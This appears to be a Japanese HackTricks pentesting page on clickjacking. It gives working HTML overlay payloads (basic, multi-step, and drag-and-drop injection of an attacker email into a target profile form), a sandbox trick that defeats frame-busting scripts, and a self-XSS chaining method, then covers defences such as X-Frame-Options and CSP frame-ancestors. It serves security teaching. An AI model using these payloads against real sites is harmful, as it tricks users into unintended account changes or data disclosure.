hacktricks/pentesting-web/clickjacking.md

226 lines
13 KiB
Markdown
Raw Normal View History

# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
## Clickjackingとは
Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
### フォームの事前入力トリック
時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにすることができます。
2020-10-13 11:29:54 +00:00
### ドラッグ&ドロップでフォームに入力する
2020-10-13 11:29:54 +00:00
ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**して、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように制御されたデータを書き込むものをドラッグ&ドロップすることができます。
### 基本的なペイロード
```markup
<style>
2023-07-07 23:42:27 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2023-07-07 23:42:27 +00:00
### マルチステップペイロード
```markup
<style>
2023-07-07 23:42:27 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### ドラッグ&ドロップ + クリックペイロード
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
**XSSをトリガーするためにユーザーがクリックする必要があるXSS攻撃**を特定した場合、ページが**Clickjackingに対して脆弱**であるとき、ユーザーをだましてボタン/リンクをクリックさせることができます。\
例:\
_アカウントの一部のプライベート詳細**あなただけが設定および読み取り可能**)に**self XSS**を見つけました。これらの詳細を設定するための**フォーム**が**Clickjackingに対して脆弱**であり、GETパラメータで**フォーム**を**事前に埋める**ことができます。_\
\_\_攻撃者は、そのページに**事前にXSSペイロードを埋め込んだフォーム**を**事前に埋め込んだClickjacking**攻撃を準備し、**ユーザー**を**フォームを送信**させるように**だまして**しまう可能性があります。そのため、**フォームが送信されると**値が変更され、**ユーザーがXSSを実行**します。
## Clickjackingの緩和戦略
### クライアントサイドの防御策
クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:
* アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
* すべてのフレームを表示する。
* 不可視フレームでのクリックを防止する。
* Clickjackingの試みを検出してユーザーに警告する。
ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:
* **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
* **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-forms`または`allow-scripts`の値を設定し、`allow-top-navigation`を含まない`sandbox`属性を設定することで、フレームブレーキングスクリプトを無効化することができます。これにより、iframeはトップウィンドウかどうかを検証しなくなります。
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### サーバーサイドの防御
#### X-Frame-Options
**`X-Frame-Options` HTTPレスポンスヘッダー**は、`<frame>`または`<iframe>`内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます
- `X-Frame-Options: deny` - どのドメインもコンテンツをフレーム化できません。
- `X-Frame-Options: sameorigin` - 現在のサイトのみがコンテンツをフレーム化できます。
- `X-Frame-Options: allow-from https://trusted.com` - 指定された 'uri' のみがページをフレーム化できます。
- ブラウザがこのディレクティブをサポートしていない場合は機能しない可能性があるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好むことがあります。
#### Content Security Policy (CSP)のframe-ancestorsディレクティブ
CSP内の**`frame-ancestors`ディレクティブ**はClickjacking保護の推奨方法です
- `frame-ancestors 'none'` - `X-Frame-Options: deny`に類似。
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`に類似。
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`に類似。
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します
`Content-Security-Policy: frame-ancestors 'self';`
詳細や複雑な例は、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)および[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)で見つけることができます。
### Content Security Policy (CSP)の`child-src`および`frame-src`
**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。
#### `frame-src`ディレクティブ
- フレームの有効なソースを定義します。
- `default-src`ディレクティブより具体的です。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームが許可されています。
#### `child-src`ディレクティブ
* CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するためのものです。
* frame-srcおよびworker-srcのフォールバックとして機能します。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームとワーカーが許可されています。
**使用上の注意:**
* 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
* フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
* 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。
#### JavaScriptによるフレーム破壊スクリプト
完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Anti-CSRF トークンの利用
* **トークンの検証:** Webアプリケーションで反CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。
2023-07-07 23:42:27 +00:00
## 参考文献
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>